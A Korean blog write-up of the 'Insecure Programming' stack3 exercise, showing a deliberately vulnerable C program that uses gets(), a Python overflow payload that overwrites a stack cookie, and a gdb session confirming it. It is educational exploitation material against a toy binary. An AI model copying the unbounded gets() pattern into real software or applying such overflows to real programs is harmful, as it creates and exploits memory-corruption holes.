기본 콘텐츠로 건너뛰기

Insecure-programming-stack3

Insecure-programming-stack3

Insecure Programming by example

Stack 3

#include <stdio.h>

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x01020005)
		printf("you win!\n");
}

stack2와 거의 동일하다 변경된 것은 cookie 값에 0x03 대신 0x00이 포함되어 있다는 것이다. 이는 stack2에서와 같이 python 코드를 작성하여 해결이 가능하다.

$ python -c "print ('\x05'+'\x00'+'\x02'+'\x01')*21" | ./stack3.exe
buf: 0028fe6c cookie: 0028febc
you win!

gdb 디버깅을 위해서 입력 값 파일을 생성하자.

$ python -c "print ('\x05'+'\x00'+'\x02'+'\x01')*21" > stack3_input

다른 특이사항이 없으므로 코드만 눈으로 읽고 지나가자.

(gdb) set disassembly-flavor intel
(gdb) b main
Breakpoint 1 at 0x401603
(gdb) r
Starting program: D:\011. ETC\deadbits\stack3.exe
[New Thread 11276.0x1d1c]

Breakpoint 1, 0x00401603 in main ()
(gdb) disas
Dump of assembler code for function main:
   0x00401600 <+0>:     push   ebp
   0x00401601 <+1>:     mov    ebp,esp
=> 0x00401603 <+3>:     and    esp,0xfffffff0
   0x00401606 <+6>:     sub    esp,0x70
   0x00401609 <+9>:     call   0x4017d0 <__main>
   0x0040160e <+14>:    lea    eax,[esp+0x6c]
   0x00401612 <+18>:    mov    DWORD PTR [esp+0x8],eax
   0x00401616 <+22>:    lea    eax,[esp+0x1c]
   0x0040161a <+26>:    mov    DWORD PTR [esp+0x4],eax
   0x0040161e <+30>:    mov    DWORD PTR [esp],0x404044
   0x00401625 <+37>:    call   0x4026d4 <printf>
   0x0040162a <+42>:    lea    eax,[esp+0x1c]
   0x0040162e <+46>:    mov    DWORD PTR [esp],eax
   0x00401631 <+49>:    call   0x4026ec <gets>
   0x00401636 <+54>:    mov    eax,DWORD PTR [esp+0x6c]
   0x0040163a <+58>:    cmp    eax,0x1020005
   0x0040163f <+63>:    jne    0x40164d <main+77>
   0x00401641 <+65>:    mov    DWORD PTR [esp],0x40405c
   0x00401648 <+72>:    call   0x4026cc <puts>
   0x0040164d <+77>:    mov    eax,0x0
   0x00401652 <+82>:    leave
   0x00401653 <+83>:    ret
   0x00401654 <+84>:    xchg   ax,ax
   0x00401656 <+86>:    xchg   ax,ax
   0x00401658 <+88>:    xchg   ax,ax
   0x0040165a <+90>:    xchg   ax,ax
   0x0040165c <+92>:    xchg   ax,ax
   0x0040165e <+94>:    xchg   ax,ax
End of assembler dump.
(gdb) b *main+58
Breakpoint 2 at 0x40163a
(gdb) delete 1
(gdb) r < stack3_input
The program being debugged has been started already.
Start it from the beginning? (y or n) [answered Y; input not from terminal]
Starting program: D:\011. ETC\deadbits\stack3.exe < stack3_input
[New Thread 5032.0x275c]

Breakpoint 2, 0x0040163a in main ()
(gdb) x/32x $esp
0x28fe50:       0x0028fe6c      0x0028fe6c      0x0028febc      0x00401687
0x28fe60:       0x00401740      0x75883021      0x0028fe70      0x01020005
0x28fe70:       0x01020005      0x01020005      0x01020005      0x01020005
0x28fe80:       0x01020005      0x01020005      0x01020005      0x01020005
0x28fe90:       0x01020005      0x01020005      0x01020005      0x01020005
0x28fea0:       0x01020005      0x01020005      0x01020005      0x01020005
0x28feb0:       0x01020005      0x01020005      0x01020005      0x01020005
0x28fec0:       0x00000000      0x005c178c      0x0028ff88      0x004013eb
(gdb) c
Continuing.
buf: 0028fe6c cookie: 0028febc
you win!
[Inferior 1 (process 5032) exited normally]

전체 목록 보기 : Insecure programming
진행 환경 : Windows7 MSYS32

이 블로그의 인기 게시물

데일 카네기 인간관계론 정리

Remove-Server-Header

응답 메시지 내 서버 버전 정보 제거 1. Apache 1) 조치 방법 “/etc/htpd/conf/httpd.conf” 파일 안에서 1. ServerTokens OS → ServerTokens Prod 2. ServerSignature On → ServerSignature Off 로 변경한 후 아파치를 재시작하면 헤더 값의 아파치 버전 정보 및 OS 정보를 제거할 수 있다. 2) 참고 URL http://zetawiki.com/wiki/CentOS_ 아파치_보안권장설정_ServerTokens_Prod,_ServerSignature_Off 2. IIS 1) 조치 방법 IIS 6.0 urlscan_setup 실행. 설치. \windows\system32\inetsrv\urlscan\urlscan.ini 파일을 열어 다음 수정(RemoveServerHeader=0 을 RemoveServerHeader=1 로 변경) 서비스에서 IIS Admin Service 재시작. IIS 7.0 IIS 관리자를 열고 관리하려는 수준으로 이동합니다. 기능 보기에서 HTTP 응답 헤더를 두 번 클릭합니다. HTTP 응답 헤더 페이지에서 제거할 헤더를 선택합니다. 작업 창에서 제거를 클릭하고 예를 클릭합니다. 2) 참고 URL IIS 6.0 : http://gonnie.tistory.com/entry/iis6- 응답헤더-감추기 IIS 7.0 : https://technet.microsoft.com/ko-kr/library/cc733102(v=ws.10).aspx 3. jetty 1) 조치 방법 “jetty.xml” 파일에서 jetty.send.server.version=false 설정 2) 참고 URL http://attenuated-perspicacity.blogspot.kr/2009/09/jetty-61x-hardening.html 4. Nginx ...

CVE-2017-11352

CVE-2017-11352 ImageMagick 에서 발생했던 CVE-2017-9144 취약점의 미흡한 조치로 인하여 동일한 취약점이 다시 발생되었다. 재 발생된 취약점 CVE-2017-11352은 coders/rle.c 에서 RLE 이미지에 대한 부적절한 EOF 처리가 원인이었다. EOF 란? 파일의 끝(End of File, EOF)으로 데이터 소스로부터 더 이상 읽을 수 있는 데이터가 없음을 나타낸다. ImageMagick Github Page 에 들어가보면 해당 이슈를 상세히 확인할 수 있다. 부적절한 EOF 처리 원인은 소스 코드 수정 시 유사한 코드를 복사 붙여넣기 하는 과정에서 검증해야할 변수 명을 고치지 않고 그대로 적용해서 발생했다. operand=ReadBlobByte(image); if (opcode == EOF) ThrowRLEException(CorruptImageError, "UnexpectedEndOfFile" ); 이로 인해서 조치 완료된 줄 알았던 CVE-2017-9144 취약점은 CVE-2017-11352이라는 새로운 취약점 명으로 다시 조치 되었다. case SkipLinesOp: { operand=ReadBlobByte(image); - if (opcode == EOF) + if (operand == EOF) ThrowRLEException(CorruptImageError, "UnexpectedEndOfFile" ); if (opcode & 0x40 ) { operand=ReadBlobLSBSignedShort(image); - if (opcode == EOF) + if (operand == EO...